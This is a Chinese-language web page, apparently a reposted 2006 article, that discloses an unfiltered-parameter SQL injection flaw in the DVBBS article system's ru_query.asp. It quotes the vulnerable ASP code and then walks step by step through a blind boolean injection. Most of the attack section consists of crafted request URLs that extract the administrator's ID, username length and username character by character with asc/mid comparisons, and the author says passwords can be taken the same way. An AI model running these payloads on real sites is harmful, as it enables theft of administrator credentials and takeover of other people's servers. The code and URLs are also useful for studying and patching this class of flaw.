![]() |
|
|||||||||||||||
| | 网站首页 | 局域网教程 | 软件说明书 | 局域网论坛 | | ||
|
||
|
|||||
| 动网文章的新漏洞 | |||||
作者:互联网 文章来源:www.98pc.com 点击数: 更新时间:2006-4-11 ![]() |
|||||
写给新手。。。。。。。。 因为当初想不通过管理来改欲望的文章,就看了一下动网文章的代码,发现了一个漏洞,同样是一个变量未过滤的漏洞,经测试,动网官方的文章系统也有此问题。 漏洞在ru_query.asp中,影响版本:所有。 看其中如下代码: if request("classid")="" then classid="" classname="所有文章" 'classid="classid=1 and " 'sql="select class from Aclass where classid=1" 'rs.open sql,conn,1,1 'classname=rs("class") 'rs.close else classid="classid="&cstr(request("classid"))&" and " sql="select class from Aclass where classid="&cstr(request("classid")) rs.open sql,conn,1,1 classname=rs("class") rs.close end if if request("Nclassid")="" then Nclassid="" Nclassname="所有文章" else Nclassid=" Nclassid="&cstr(request("Nclassid"))&" and " sql="select Nclass from ANclass where Nclassid="&cstr(request("Nclassid")) rs.open sql,conn,1,1 Nclassname=rs("Nclass") rs.close end if 呵呵,classid,nclassid都没有过滤,而且不用SEESION,(废话!这怎么要啊?!)呵呵,很简单,用一个就行了,好了我门就来实战一次, 我在肉鸡上安装了 动网文章3。4 用户名:admin 密码:admin86 第一步,截获数据 进入搜索页面,然后随便添,关键字我添的是test,好,停!打开wsockexpert选择监视此IE,然后转到IE点搜索,这时wsocexpert里就出数据包了,如下: action=title&classid=&Nclassid=&keyword=test&Submit=%CB%D1%CB%F7 转换的IE的地址即 http://ip/ru_query.asp?action=title&classid=1&Nclassid=1&keyword=test&Submit=%CB%D1%CB%F7 好了! 第二步:测试管理员用户名 我门利用classid进行注入攻击 http://ip/ru_query.asp?action=title&classid=1 and 1=2&Nclassid=1&keyword=test&Submit=%CB%D1%CB%F7 因为classid=1 and 1=2是假,这时出错的信息是500,服务器内部错误, http://ip/ru_query.asp?action=title&classid=1 and 1=(select min(id) from admin where flag=1)&Nclassid=1&keyword=test&Submit=%CB%D1%CB%F7 注:flag=1 为管理员 500了,说明ID不为1, http://ip/ru_query.asp?action=title&classid=1 and 2=(select min(id) from admin where flag=1)&Nclassid=1&keyword=test&Submit=%CB%D1%CB%F7 返回了文章,OK,管理员ID=2 http://ip/ru_query.asp?action=title&classid=1 and 2=(select min(id) from admin where len(username)>1 and flag=1)&Nclassid=1&keyword=test&Submit=%CB%D1%CB%F7 开始测试用户名长度,返回了,长度大于1,呵呵当然了 然后依次试,当提交如下时 http://ip/ru_query.asp?action=title&classid=1 and 2=(select min(id) from admin where len(username)>=5 and flag=1)&Nclassid=1&keyword=test&Submit=%CB%D1%CB%F7 返回了,说明用户名的长度为5 开始测试用户名第一位 http://ip/ru_query.asp?action=title&classid=1 and 2=(select min(id) from admin where asc(mid(username,1,1))>90 and flag=1)&Nclassid=1&keyword=test&Submit=%CB%D1%CB%F7 MID函数可以把密码分成若干部分取出,使用方法 MID(字符串,起始位,取出的字符串的长度),我的这句是说把PASSWORD中的第一位字符取出, ASC可以把字母转换成ASC码 然后我就判断他的ASC码的范围 返回了,说明他的第一位ASC码大于90 http://ip/ru_query.asp?action=title&classid=1[/url] and 2=(select min(id) from admin where asc(mid(username,1,1))>100 and flag=1)&Nclassid=1&keyword=test&Submit=%CB%D1%CB%F7 500错误了,说明第一位ASC码小于100,最后 http://ip/ru_query.asp?action=title&classid=1[/url] and 2=(select min(id) from admin where asc(mid(username,1,1))=97 and flag=1)&Nclassid=1&keyword=test&Submit=%CB%D1%CB%F7 返回了,呵呵第一位是97,对应的是a 就这样依次猜可以得出用户名为admin 猜密码的时候仅把变量username 改为password即可,。 就这么简单, 同时要说明的是,asc ,mid为VBscript的函数,要是服务器端为JAVASCIPT就不能使了,呵呵,譬如动网官方的服务器,应改为对应的JAVA函数。 |
|||||
| 文章录入:wuwq 责任编辑:wuwq | |||||
| 【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】 | |||||
| 最新热点 | 最新推荐 | 相关文章 | ||
| 在MPLS上做文章 动网的洞again 固定与移动网一步步走向融合 用net命令进行局域网文件批量 简单共享不安全 给局网文件夹 简单共享不安全给局网文件夹 教你架设个人服务器调试运行 动网的洞--again |
| 网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!) |
| | 设为首页 | 加入收藏 | 联系站长 | 友情链接 | 版权申明 | 网站公告 | | |||||
|